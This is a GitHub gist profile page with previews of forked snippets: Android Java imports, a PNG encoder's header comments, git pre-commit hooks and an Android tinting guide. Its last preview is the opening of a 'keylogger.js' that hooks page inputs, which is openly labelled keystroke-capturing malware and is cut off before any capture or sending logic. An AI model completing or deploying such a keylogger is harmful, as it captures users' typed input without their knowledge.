Skip to content

Instantly share code, notes, and snippets.

View JeppeLeth's full-sized avatar

Jeppe Leth JeppeLeth

View GitHub Profile
package com.electricobjects.client.onboarding;
import android.app.Dialog;
import android.os.Bundle;
import android.support.design.widget.FloatingActionButton;
import android.support.v4.content.ContextCompat;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
@JeppeLeth
JeppeLeth / pngencode.cpp
Created April 8, 2016 09:58 — forked from mmalex/pngencode.cpp
bug fix png encoder
// by alex evans, 2011. released into the public domain.
// based on a first ever reading of the png spec, it occurs to me that a minimal png encoder should be quite simple.
// this is a first stab - may be buggy! the only external dependency is zlib and some basic typedefs (u32, u8)
//
// VERSION 0.02! now using zlib's crc rather than my own, and avoiding a memcpy and memory scribbler in the old one
// by passing the zero byte at the start of the scanline to zlib first, then the original scanline in place. WIN!
//
// more context at http://altdevblogaday.org/2011/04/06/a-smaller-jpg-encoder/.
//
// follow me on twitter @mmalex http://twitter.com/mmalex
@JeppeLeth
JeppeLeth / pre-commit
Created March 6, 2016 08:46 — forked from chrisjaure/pre-commit
git pre-commit hook to block commits on matches of regular expressions
#!/usr/bin/env php
<?php
$unallowed = array(
);
exec('git diff --cached --', $output);
@JeppeLeth
JeppeLeth / pre-commit.sh
Created March 5, 2016 21:03 — forked from johnjohndoe/pre-commit.sh
Git pre-commit hook to add a new line at the end of a file and remove trailing whitespaces
#!/bin/sh
#
# An example hook script to verify what is about to be committed.
# Called by "git commit" with no arguments. The hook should
# exit with non-zero status after issuing an appropriate message if
# it wants to stop the commit.
#
# Usage:
# Remove the .sh file extension when you put the script in your hooks folder!
#
@JeppeLeth
JeppeLeth / Android Lollipop Widget Tinting Guide
Created February 27, 2016 09:10 — forked from seanKenkeremath/Android Lollipop Widget Tinting Guide
How base colors in Lollipop apply to different UI elements
Unless specified otherwise, all of the below tinting applies to both Lollipop and pre-Lollipop using AppCompat v21. To use the support version of these attributes, remove the android namespace. For instance, "android:colorControlNormal" becomes "colorControlNormal". These attributes will be propagated to their corresponding attributes within the android namespace for devices running Lollipop. Any exceptions to this will be noted by including the "android:" prefix.
All Clickable Views:
-----------
* ripple effect (Lollipop only) -- "colorControlHighlight"
Status Bar:
------------
* background (Lollipop only) - "colorPrimaryDark"
@JeppeLeth
JeppeLeth / keylogger.js
Created November 15, 2015 14:05 — forked from 06b/keylogger.js
// Copyright John Leitch 2010 john.leitch5@gmail.com
var destination = null;
var useClone = false;
var cloneSource = null;
var cloneDelay = 1000;
function hookInputs() {
var frame = document.getElementById('overlayFrame');
var keyPressScript =